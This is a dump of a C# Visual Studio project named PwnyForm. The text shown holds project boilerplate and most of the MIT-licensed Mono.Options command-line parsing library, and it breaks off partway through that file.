├── .gitattributes ├── .gitignore ├── PwnyForm.sln ├── PwnyForm ├── .gitattributes ├── App.config ├── Options.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs └── PwnyForm.csproj └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # JustCode is a .NET coding add-in 131 | .JustCode 132 | 133 | # TeamCity is a build add-in 134 | _TeamCity* 135 | 136 | # DotCover is a Code Coverage Tool 137 | *.dotCover 138 | 139 | # AxoCover is a Code Coverage Tool 140 | .axoCover/* 141 | !.axoCover/settings.json 142 | 143 | # Visual Studio code coverage results 144 | *.coverage 145 | *.coveragexml 146 | 147 | # NCrunch 148 | _NCrunch_* 149 | .*crunch*.local.xml 150 | nCrunchTemp_* 151 | 152 | # MightyMoose 153 | *.mm.* 154 | AutoTest.Net/ 155 | 156 | # Web workbench (sass) 157 | .sass-cache/ 158 | 159 | # Installshield output folder 160 | [Ee]xpress/ 161 | 162 | # DocProject is a documentation generator add-in 163 | DocProject/buildhelp/ 164 | DocProject/Help/*.HxT 165 | DocProject/Help/*.HxC 166 | DocProject/Help/*.hhc 167 | DocProject/Help/*.hhk 168 | DocProject/Help/*.hhp 169 | DocProject/Help/Html2 170 | DocProject/Help/html 171 | 172 | # Click-Once directory 173 | publish/ 174 | 175 | # Publish Web Output 176 | *.[Pp]ublish.xml 177 | *.azurePubxml 178 | # Note: Comment the next line if you want to checkin your web deploy settings, 179 | # but database connection strings (with potential passwords) will be unencrypted 180 | *.pubxml 181 | *.publishproj 182 | 183 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 184 | # checkin your Azure Web App publish settings, but sensitive information contained 185 | # in these scripts will be unencrypted 186 | PublishScripts/ 187 | 188 | # NuGet Packages 189 | *.nupkg 190 | # NuGet Symbol Packages 191 | *.snupkg 192 | # The packages folder can be ignored because of Package Restore 193 | **/[Pp]ackages/* 194 | # except build/, which is used as an MSBuild target. 195 | !**/[Pp]ackages/build/ 196 | # Uncomment if necessary however generally it will be regenerated when needed 197 | #!**/[Pp]ackages/repositories.config 198 | # NuGet v3's project.json files produces more ignorable files 199 | *.nuget.props 200 | *.nuget.targets 201 | 202 | # Microsoft Azure Build Output 203 | csx/ 204 | *.build.csdef 205 | 206 | # Microsoft Azure Emulator 207 | ecf/ 208 | rcf/ 209 | 210 | # Windows Store app package directories and files 211 | AppPackages/ 212 | BundleArtifacts/ 213 | Package.StoreAssociation.xml 214 | _pkginfo.txt 215 | *.appx 216 | *.appxbundle 217 | *.appxupload 218 | 219 | # Visual Studio cache files 220 | # files ending in .cache can be ignored 221 | *.[Cc]ache 222 | # but keep track of directories ending in .cache 223 | !?*.[Cc]ache/ 224 | 225 | # Others 226 | ClientBin/ 227 | ~$* 228 | *~ 229 | *.dbmdl 230 | *.dbproj.schemaview 231 | *.jfm 232 | *.pfx 233 | *.publishsettings 234 | orleans.codegen.cs 235 | 236 | # Including strong name files can present a security risk 237 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 238 | #*.snk 239 | 240 | # Since there are multiple workflows, uncomment next line to ignore bower_components 241 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 242 | #bower_components/ 243 | 244 | # RIA/Silverlight projects 245 | Generated_Code/ 246 | 247 | # Backup & report files from converting an old project file 248 | # to a newer Visual Studio version. Backup files are not needed, 249 | # because we have git ;-) 250 | _UpgradeReport_Files/ 251 | Backup*/ 252 | UpgradeLog*.XML 253 | UpgradeLog*.htm 254 | ServiceFabricBackup/ 255 | *.rptproj.bak 256 | 257 | # SQL Server files 258 | *.mdf 259 | *.ldf 260 | *.ndf 261 | 262 | # Business Intelligence projects 263 | *.rdl.data 264 | *.bim.layout 265 | *.bim_*.settings 266 | *.rptproj.rsuser 267 | *- [Bb]ackup.rdl 268 | *- [Bb]ackup ([0-9]).rdl 269 | *- [Bb]ackup ([0-9][0-9]).rdl 270 | 271 | # Microsoft Fakes 272 | FakesAssemblies/ 273 | 274 | # GhostDoc plugin setting file 275 | *.GhostDoc.xml 276 | 277 | # Node.js Tools for Visual Studio 278 | .ntvs_analysis.dat 279 | node_modules/ 280 | 281 | # Visual Studio 6 build log 282 | *.plg 283 | 284 | # Visual Studio 6 workspace options file 285 | *.opt 286 | 287 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 288 | *.vbw 289 | 290 | # Visual Studio LightSwitch build output 291 | **/*.HTMLClient/GeneratedArtifacts 292 | **/*.DesktopClient/GeneratedArtifacts 293 | **/*.DesktopClient/ModelManifest.xml 294 | **/*.Server/GeneratedArtifacts 295 | **/*.Server/ModelManifest.xml 296 | _Pvt_Extensions 297 | 298 | # Paket dependency manager 299 | .paket/paket.exe 300 | paket-files/ 301 | 302 | # FAKE - F# Make 303 | .fake/ 304 | 305 | # CodeRush personal settings 306 | .cr/personal 307 | 308 | # Python Tools for Visual Studio (PTVS) 309 | __pycache__/ 310 | *.pyc 311 | 312 | # Cake - Uncomment if you are using it 313 | # tools/** 314 | # !tools/packages.config 315 | 316 | # Tabs Studio 317 | *.tss 318 | 319 | # Telerik's JustMock configuration file 320 | *.jmconfig 321 | 322 | # BizTalk build output 323 | *.btp.cs 324 | *.btm.cs 325 | *.odx.cs 326 | *.xsd.cs 327 | 328 | # OpenCover UI analysis results 329 | OpenCover/ 330 | 331 | # Azure Stream Analytics local run output 332 | ASALocalRun/ 333 | 334 | # MSBuild Binary and Structured Log 335 | *.binlog 336 | 337 | # NVidia Nsight GPU debugger configuration file 338 | *.nvuser 339 | 340 | # MFractors (Xamarin productivity tool) working folder 341 | .mfractor/ 342 | 343 | # Local History for Visual Studio 344 | .localhistory/ 345 | 346 | # BeatPulse healthcheck temp database 347 | healthchecksdb 348 | 349 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 350 | MigrationBackup/ 351 | 352 | # Ionide (cross platform F# VS Code tools) working folder 353 | .ionide/ 354 | -------------------------------------------------------------------------------- /PwnyForm.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30114.105 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PwnyForm", "PwnyForm\PwnyForm.csproj", "{AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {E073C572-6D59-4426-AB95-126B7BEC4233} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /PwnyForm/.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /PwnyForm/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PwnyForm/Options.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Options.cs 3 | // 4 | // Authors: 5 | // Jonathan Pryor , 6 | // Federico Di Gregorio 7 | // Rolf Bjarne Kvinge 8 | // 9 | // Copyright (C) 2008 Novell (http://www.novell.com) 10 | // Copyright (C) 2009 Federico Di Gregorio. 11 | // Copyright (C) 2012 Xamarin Inc (http://www.xamarin.com) 12 | // Copyright (C) 2017 Microsoft Corporation (http://www.microsoft.com) 13 | // 14 | // Permission is hereby granted, free of charge, to any person obtaining 15 | // a copy of this software and associated documentation files (the 16 | // "Software"), to deal in the Software without restriction, including 17 | // without limitation the rights to use, copy, modify, merge, publish, 18 | // distribute, sublicense, and/or sell copies of the Software, and to 19 | // permit persons to whom the Software is furnished to do so, subject to 20 | // the following conditions: 21 | // 22 | // The above copyright notice and this permission notice shall be 23 | // included in all copies or substantial portions of the Software. 24 | // 25 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 26 | // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 27 | // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 28 | // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 29 | // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 30 | // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 31 | // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 32 | // 33 | 34 | // Compile With: 35 | // mcs -debug+ -r:System.Core Options.cs -o:Mono.Options.dll -t:library 36 | // mcs -debug+ -d:LINQ -r:System.Core Options.cs -o:Mono.Options.dll -t:library 37 | // 38 | // The LINQ version just changes the implementation of 39 | // OptionSet.Parse(IEnumerable), and confers no semantic changes. 40 | 41 | // 42 | // A Getopt::Long-inspired option parsing library for C#. 43 | // 44 | // Mono.Options.OptionSet is built upon a key/value table, where the 45 | // key is a option format string and the value is a delegate that is 46 | // invoked when the format string is matched. 47 | // 48 | // Option format strings: 49 | // Regex-like BNF Grammar: 50 | // name: .+ 51 | // type: [=:] 52 | // sep: ( [^{}]+ | '{' .+ '}' )? 53 | // aliases: ( name type sep ) ( '|' name type sep )* 54 | // 55 | // Each '|'-delimited name is an alias for the associated action. If the 56 | // format string ends in a '=', it has a required value. If the format 57 | // string ends in a ':', it has an optional value. If neither '=' or ':' 58 | // is present, no value is supported. `=' or `:' need only be defined on one 59 | // alias, but if they are provided on more than one they must be consistent. 60 | // 61 | // Each alias portion may also end with a "key/value separator", which is used 62 | // to split option values if the option accepts > 1 value. If not specified, 63 | // it defaults to '=' and ':'. If specified, it can be any character except 64 | // '{' and '}' OR the *string* between '{' and '}'. If no separator should be 65 | // used (i.e. the separate values should be distinct arguments), then "{}" 66 | // should be used as the separator. 67 | // 68 | // Options are extracted either from the current option by looking for 69 | // the option name followed by an '=' or ':', or is taken from the 70 | // following option IFF: 71 | // - The current option does not contain a '=' or a ':' 72 | // - The current option requires a value (i.e. not a Option type of ':') 73 | // 74 | // The `name' used in the option format string does NOT include any leading 75 | // option indicator, such as '-', '--', or '/'. All three of these are 76 | // permitted/required on any named option. 77 | // 78 | // Option bundling is permitted so long as: 79 | // - '-' is used to start the option group 80 | // - all of the bundled options are a single character 81 | // - at most one of the bundled options accepts a value, and the value 82 | // provided starts from the next character to the end of the string. 83 | // 84 | // This allows specifying '-a -b -c' as '-abc', and specifying '-D name=value' 85 | // as '-Dname=value'. 86 | // 87 | // Option processing is disabled by specifying "--". All options after "--" 88 | // are returned by OptionSet.Parse() unchanged and unprocessed. 89 | // 90 | // Unprocessed options are returned from OptionSet.Parse(). 91 | // 92 | // Examples: 93 | // int verbose = 0; 94 | // OptionSet p = new OptionSet () 95 | // .Add ("v", v => ++verbose) 96 | // .Add ("name=|value=", v => Console.WriteLine (v)); 97 | // p.Parse (new string[]{"-v", "--v", "/v", "-name=A", "/name", "B", "extra"}); 98 | // 99 | // The above would parse the argument string array, and would invoke the 100 | // lambda expression three times, setting `verbose' to 3 when complete. 101 | // It would also print out "A" and "B" to standard output. 102 | // The returned array would contain the string "extra". 103 | // 104 | // C# 3.0 collection initializers are supported and encouraged: 105 | // var p = new OptionSet () { 106 | // { "h|?|help", v => ShowHelp () }, 107 | // }; 108 | // 109 | // System.ComponentModel.TypeConverter is also supported, allowing the use of 110 | // custom data types in the callback type; TypeConverter.ConvertFromString() 111 | // is used to convert the value option to an instance of the specified 112 | // type: 113 | // 114 | // var p = new OptionSet () { 115 | // { "foo=", (Foo f) => Console.WriteLine (f.ToString ()) }, 116 | // }; 117 | // 118 | // Random other tidbits: 119 | // - Boolean options (those w/o '=' or ':' in the option format string) 120 | // are explicitly enabled if they are followed with '+', and explicitly 121 | // disabled if they are followed with '-': 122 | // string a = null; 123 | // var p = new OptionSet () { 124 | // { "a", s => a = s }, 125 | // }; 126 | // p.Parse (new string[]{"-a"}); // sets v != null 127 | // p.Parse (new string[]{"-a+"}); // sets v != null 128 | // p.Parse (new string[]{"-a-"}); // sets v == null 129 | // 130 | 131 | // 132 | // Mono.Options.CommandSet allows easily having separate commands and 133 | // associated command options, allowing creation of a *suite* along the 134 | // lines of **git**(1), **svn**(1), etc. 135 | // 136 | // CommandSet allows intermixing plain text strings for `--help` output, 137 | // Option values -- as supported by OptionSet -- and Command instances, 138 | // which have a name, optional help text, and an optional OptionSet. 139 | // 140 | // var suite = new CommandSet ("suite-name") { 141 | // // Use strings and option values, as with OptionSet 142 | // "usage: suite-name COMMAND [OPTIONS]+", 143 | // { "v:", "verbosity", (int? v) => Verbosity = v.HasValue ? v.Value : Verbosity+1 }, 144 | // // Commands may also be specified 145 | // new Command ("command-name", "command help") { 146 | // Options = new OptionSet {/*...*/}, 147 | // Run = args => { /*...*/}, 148 | // }, 149 | // new MyCommandSubclass (), 150 | // }; 151 | // return suite.Run (new string[]{...}); 152 | // 153 | // CommandSet provides a `help` command, and forwards `help COMMAND` 154 | // to the registered Command instance by invoking Command.Invoke() 155 | // with `--help` as an option. 156 | // 157 | 158 | using System; 159 | using System.Collections; 160 | using System.Collections.Generic; 161 | using System.Collections.ObjectModel; 162 | using System.ComponentModel; 163 | using System.Globalization; 164 | using System.IO; 165 | #if PCL 166 | using System.Reflection; 167 | #else 168 | using System.Runtime.Serialization; 169 | using System.Security.Permissions; 170 | #endif 171 | using System.Text; 172 | using System.Text.RegularExpressions; 173 | 174 | #if LINQ 175 | using System.Linq; 176 | #endif 177 | 178 | #if TEST 179 | using NDesk.Options; 180 | #endif 181 | 182 | #if PCL 183 | using MessageLocalizerConverter = System.Func; 184 | #else 185 | using MessageLocalizerConverter = System.Converter; 186 | #endif 187 | 188 | #if NDESK_OPTIONS 189 | namespace NDesk.Options 190 | #else 191 | namespace Mono.Options 192 | #endif 193 | { 194 | static class StringCoda { 195 | 196 | public static IEnumerable WrappedLines(string self, params int[] widths) { 197 | IEnumerable w = widths; 198 | return WrappedLines(self, w); 199 | } 200 | 201 | public static IEnumerable WrappedLines(string self, IEnumerable widths) { 202 | if (widths == null) 203 | throw new ArgumentNullException("widths"); 204 | return CreateWrappedLinesIterator(self, widths); 205 | } 206 | 207 | private static IEnumerable CreateWrappedLinesIterator(string self, IEnumerable widths) { 208 | if (string.IsNullOrEmpty(self)) { 209 | yield return string.Empty; 210 | yield break; 211 | } 212 | using (IEnumerator ewidths = widths.GetEnumerator()) { 213 | bool? hw = null; 214 | int width = GetNextWidth(ewidths, int.MaxValue, ref hw); 215 | int start = 0, end; 216 | do { 217 | end = GetLineEnd(start, width, self); 218 | // endCorrection is 1 if the line end is '\n', and might be 2 if the line end is '\r\n'. 219 | int endCorrection = 1; 220 | if (end >= 2 && self.Substring(end - 2, 2).Equals("\r\n")) 221 | endCorrection = 2; 222 | char c = self[end - endCorrection]; 223 | if (char.IsWhiteSpace(c)) 224 | end -= endCorrection; 225 | bool needContinuation = end != self.Length && !IsEolChar(c); 226 | string continuation = ""; 227 | if (needContinuation) { 228 | --end; 229 | continuation = "-"; 230 | } 231 | string line = self.Substring(start, end - start) + continuation; 232 | yield return line; 233 | start = end; 234 | if (char.IsWhiteSpace(c)) 235 | start += endCorrection; 236 | width = GetNextWidth(ewidths, width, ref hw); 237 | } while (start < self.Length); 238 | } 239 | } 240 | 241 | private static int GetNextWidth(IEnumerator ewidths, int curWidth, ref bool? eValid) { 242 | if (!eValid.HasValue || (eValid.HasValue && eValid.Value)) { 243 | curWidth = (eValid = ewidths.MoveNext()).Value ? ewidths.Current : curWidth; 244 | // '.' is any character, - is for a continuation 245 | const string minWidth = ".-"; 246 | if (curWidth < minWidth.Length) 247 | throw new ArgumentOutOfRangeException("widths", 248 | string.Format("Element must be >= {0}, was {1}.", minWidth.Length, curWidth)); 249 | return curWidth; 250 | } 251 | // no more elements, use the last element. 252 | return curWidth; 253 | } 254 | 255 | private static bool IsEolChar(char c) { 256 | return !char.IsLetterOrDigit(c); 257 | } 258 | 259 | private static int GetLineEnd(int start, int length, string description) { 260 | int end = System.Math.Min(start + length, description.Length); 261 | int sep = -1; 262 | for (int i = start; i < end; ++i) { 263 | if (i + 2 <= description.Length && description.Substring(i, 2).Equals("\r\n")) 264 | return i + 2; 265 | if (description[i] == '\n') 266 | return i + 1; 267 | if (IsEolChar(description[i])) 268 | sep = i + 1; 269 | } 270 | if (sep == -1 || end == description.Length) 271 | return end; 272 | return sep; 273 | } 274 | } 275 | 276 | public class OptionValueCollection : IList, IList { 277 | 278 | List values = new List(); 279 | OptionContext c; 280 | 281 | internal OptionValueCollection(OptionContext c) { 282 | this.c = c; 283 | } 284 | 285 | #region ICollection 286 | void ICollection.CopyTo(Array array, int index) { (values as ICollection).CopyTo(array, index); } 287 | bool ICollection.IsSynchronized { get { return (values as ICollection).IsSynchronized; } } 288 | object ICollection.SyncRoot { get { return (values as ICollection).SyncRoot; } } 289 | #endregion 290 | 291 | #region ICollection 292 | public void Add(string item) { values.Add(item); } 293 | public void Clear() { values.Clear(); } 294 | public bool Contains(string item) { return values.Contains(item); } 295 | public void CopyTo(string[] array, int arrayIndex) { values.CopyTo(array, arrayIndex); } 296 | public bool Remove(string item) { return values.Remove(item); } 297 | public int Count { get { return values.Count; } } 298 | public bool IsReadOnly { get { return false; } } 299 | #endregion 300 | 301 | #region IEnumerable 302 | IEnumerator IEnumerable.GetEnumerator() { return values.GetEnumerator(); } 303 | #endregion 304 | 305 | #region IEnumerable 306 | public IEnumerator GetEnumerator() { return values.GetEnumerator(); } 307 | #endregion 308 | 309 | #region IList 310 | int IList.Add(object value) { return (values as IList).Add(value); } 311 | bool IList.Contains(object value) { return (values as IList).Contains(value); } 312 | int IList.IndexOf(object value) { return (values as IList).IndexOf(value); } 313 | void IList.Insert(int index, object value) { (values as IList).Insert(index, value); } 314 | void IList.Remove(object value) { (values as IList).Remove(value); } 315 | void IList.RemoveAt(int index) { (values as IList).RemoveAt(index); } 316 | bool IList.IsFixedSize { get { return false; } } 317 | object IList.this[int index] { get { return this[index]; } set { (values as IList)[index] = value; } } 318 | #endregion 319 | 320 | #region IList 321 | public int IndexOf(string item) { return values.IndexOf(item); } 322 | public void Insert(int index, string item) { values.Insert(index, item); } 323 | public void RemoveAt(int index) { values.RemoveAt(index); } 324 | 325 | private void AssertValid(int index) { 326 | if (c.Option == null) 327 | throw new InvalidOperationException("OptionContext.Option is null."); 328 | if (index >= c.Option.MaxValueCount) 329 | throw new ArgumentOutOfRangeException("index"); 330 | if (c.Option.OptionValueType == OptionValueType.Required && 331 | index >= values.Count) 332 | throw new OptionException(string.Format( 333 | c.OptionSet.MessageLocalizer("Missing required value for option '{0}'."), c.OptionName), 334 | c.OptionName); 335 | } 336 | 337 | public string this[int index] { 338 | get { 339 | AssertValid(index); 340 | return index >= values.Count ? null : values[index]; 341 | } 342 | set { 343 | values[index] = value; 344 | } 345 | } 346 | #endregion 347 | 348 | public List ToList() { 349 | return new List(values); 350 | } 351 | 352 | public string[] ToArray() { 353 | return values.ToArray(); 354 | } 355 | 356 | public override string ToString() { 357 | return string.Join(", ", values.ToArray()); 358 | } 359 | } 360 | 361 | public class OptionContext { 362 | private Option option; 363 | private string name; 364 | private int index; 365 | private OptionSet set; 366 | private OptionValueCollection c; 367 | 368 | public OptionContext(OptionSet set) { 369 | this.set = set; 370 | this.c = new OptionValueCollection(this); 371 | } 372 | 373 | public Option Option { 374 | get { return option; } 375 | set { option = value; } 376 | } 377 | 378 | public string OptionName { 379 | get { return name; } 380 | set { name = value; } 381 | } 382 | 383 | public int OptionIndex { 384 | get { return index; } 385 | set { index = value; } 386 | } 387 | 388 | public OptionSet OptionSet { 389 | get { return set; } 390 | } 391 | 392 | public OptionValueCollection OptionValues { 393 | get { return c; } 394 | } 395 | } 396 | 397 | public enum OptionValueType { 398 | None, 399 | Optional, 400 | Required, 401 | } 402 | 403 | public abstract class Option { 404 | string prototype, description; 405 | string[] names; 406 | OptionValueType type; 407 | int count; 408 | string[] separators; 409 | bool hidden; 410 | 411 | protected Option(string prototype, string description) 412 | : this(prototype, description, 1, false) { 413 | } 414 | 415 | protected Option(string prototype, string description, int maxValueCount) 416 | : this(prototype, description, maxValueCount, false) { 417 | } 418 | 419 | protected Option(string prototype, string description, int maxValueCount, bool hidden) { 420 | if (prototype == null) 421 | throw new ArgumentNullException("prototype"); 422 | if (prototype.Length == 0) 423 | throw new ArgumentException("Cannot be the empty string.", "prototype"); 424 | if (maxValueCount < 0) 425 | throw new ArgumentOutOfRangeException("maxValueCount"); 426 | 427 | this.prototype = prototype; 428 | this.description = description; 429 | this.count = maxValueCount; 430 | this.names = (this is OptionSet.Category) 431 | // append GetHashCode() so that "duplicate" categories have distinct 432 | // names, e.g. adding multiple "" categories should be valid. 433 | ? new[] { prototype + this.GetHashCode() } 434 | : prototype.Split('|'); 435 | 436 | if (this is OptionSet.Category || this is CommandOption) 437 | return; 438 | 439 | this.type = ParsePrototype(); 440 | this.hidden = hidden; 441 | 442 | if (this.count == 0 && type != OptionValueType.None) 443 | throw new ArgumentException( 444 | "Cannot provide maxValueCount of 0 for OptionValueType.Required or " + 445 | "OptionValueType.Optional.", 446 | "maxValueCount"); 447 | if (this.type == OptionValueType.None && maxValueCount > 1) 448 | throw new ArgumentException( 449 | string.Format("Cannot provide maxValueCount of {0} for OptionValueType.None.", maxValueCount), 450 | "maxValueCount"); 451 | if (Array.IndexOf(names, "<>") >= 0 && 452 | ((names.Length == 1 && this.type != OptionValueType.None) || 453 | (names.Length > 1 && this.MaxValueCount > 1))) 454 | throw new ArgumentException( 455 | "The default option handler '<>' cannot require values.", 456 | "prototype"); 457 | } 458 | 459 | public string Prototype { get { return prototype; } } 460 | public string Description { get { return description; } } 461 | public OptionValueType OptionValueType { get { return type; } } 462 | public int MaxValueCount { get { return count; } } 463 | public bool Hidden { get { return hidden; } } 464 | 465 | public string[] GetNames() { 466 | return (string[])names.Clone(); 467 | } 468 | 469 | public string[] GetValueSeparators() { 470 | if (separators == null) 471 | return new string[0]; 472 | return (string[])separators.Clone(); 473 | } 474 | 475 | protected static T Parse(string value, OptionContext c) { 476 | Type tt = typeof(T); 477 | #if PCL 478 | TypeInfo ti = tt.GetTypeInfo (); 479 | #else 480 | Type ti = tt; 481 | #endif 482 | bool nullable = 483 | ti.IsValueType && 484 | ti.IsGenericType && 485 | !ti.IsGenericTypeDefinition && 486 | ti.GetGenericTypeDefinition() == typeof(Nullable<>); 487 | #if PCL 488 | Type targetType = nullable ? tt.GenericTypeArguments [0] : tt; 489 | #else 490 | Type targetType = nullable ? tt.GetGenericArguments()[0] : tt; 491 | #endif 492 | T t = default(T); 493 | try { 494 | if (value != null) { 495 | #if PCL 496 | if (targetType.GetTypeInfo ().IsEnum) 497 | t = (T) Enum.Parse (targetType, value, true); 498 | else 499 | t = (T) Convert.ChangeType (value, targetType); 500 | #else 501 | TypeConverter conv = TypeDescriptor.GetConverter(targetType); 502 | t = (T)conv.ConvertFromString(value); 503 | #endif 504 | } 505 | } catch (Exception e) { 506 | throw new OptionException( 507 | string.Format( 508 | c.OptionSet.MessageLocalizer("Could not convert string `{0}' to type {1} for option `{2}'."), 509 | value, targetType.Name, c.OptionName), 510 | c.OptionName, e); 511 | } 512 | return t; 513 | } 514 | 515 | internal string[] Names { get { return names; } } 516 | internal string[] ValueSeparators { get { return separators; } } 517 | 518 | static readonly char[] NameTerminator = new char[] { '=', ':' }; 519 | 520 | private OptionValueType ParsePrototype() { 521 | char type = '\0'; 522 | List seps = new List(); 523 | for (int i = 0; i < names.Length; ++i) { 524 | string name = names[i]; 525 | if (name.Length == 0) 526 | throw new ArgumentException("Empty option names are not supported.", "prototype"); 527 | 528 | int end = name.IndexOfAny(NameTerminator); 529 | if (end == -1) 530 | continue; 531 | names[i] = name.Substring(0, end); 532 | if (type == '\0' || type == name[end]) 533 | type = name[end]; 534 | else 535 | throw new ArgumentException( 536 | string.Format("Conflicting option types: '{0}' vs. '{1}'.", type, name[end]), 537 | "prototype"); 538 | AddSeparators(name, end, seps); 539 | } 540 | 541 | if (type == '\0') 542 | return OptionValueType.None; 543 | 544 | if (count <= 1 && seps.Count != 0) 545 | throw new ArgumentException( 546 | string.Format("Cannot provide key/value separators for Options taking {0} value(s).", count), 547 | "prototype"); 548 | if (count > 1) { 549 | if (seps.Count == 0) 550 | this.separators = new string[] { ":", "=" }; 551 | else if (seps.Count == 1 && seps[0].Length == 0) 552 | this.separators = null; 553 | else 554 | this.separators = seps.ToArray(); 555 | } 556 | 557 | return type == '=' ? OptionValueType.Required : OptionValueType.Optional; 558 | } 559 | 560 | private static void AddSeparators(string name, int end, ICollection seps) { 561 | int start = -1; 562 | for (int i = end + 1; i < name.Length; ++i) { 563 | switch (name[i]) { 564 | case '{': 565 | if (start != -1) 566 | throw new ArgumentException( 567 | string.Format("Ill-formed name/value separator found in \"{0}\".", name), 568 | "prototype"); 569 | start = i + 1; 570 | break; 571 | case '}': 572 | if (start == -1) 573 | throw new ArgumentException( 574 | string.Format("Ill-formed name/value separator found in \"{0}\".", name), 575 | "prototype"); 576 | seps.Add(name.Substring(start, i - start)); 577 | start = -1; 578 | break; 579 | default: 580 | if (start == -1) 581 | seps.Add(name[i].ToString()); 582 | break; 583 | } 584 | } 585 | if (start != -1) 586 | throw new ArgumentException( 587 | string.Format("Ill-formed name/value separator found in \"{0}\".", name), 588 | "prototype"); 589 | } 590 | 591 | public void Invoke(OptionContext c) { 592 | OnParseComplete(c); 593 | c.OptionName = null; 594 | c.Option = null; 595 | c.OptionValues.Clear(); 596 | } 597 | 598 | protected abstract void OnParseComplete(OptionContext c); 599 | 600 | internal void InvokeOnParseComplete(OptionContext c) { 601 | OnParseComplete(c); 602 | } 603 | 604 | public override string ToString() { 605 | return Prototype; 606 | } 607 | } 608 | 609 | public abstract class ArgumentSource { 610 | 611 | protected ArgumentSource() { 612 | } 613 | 614 | public abstract string[] GetNames(); 615 | 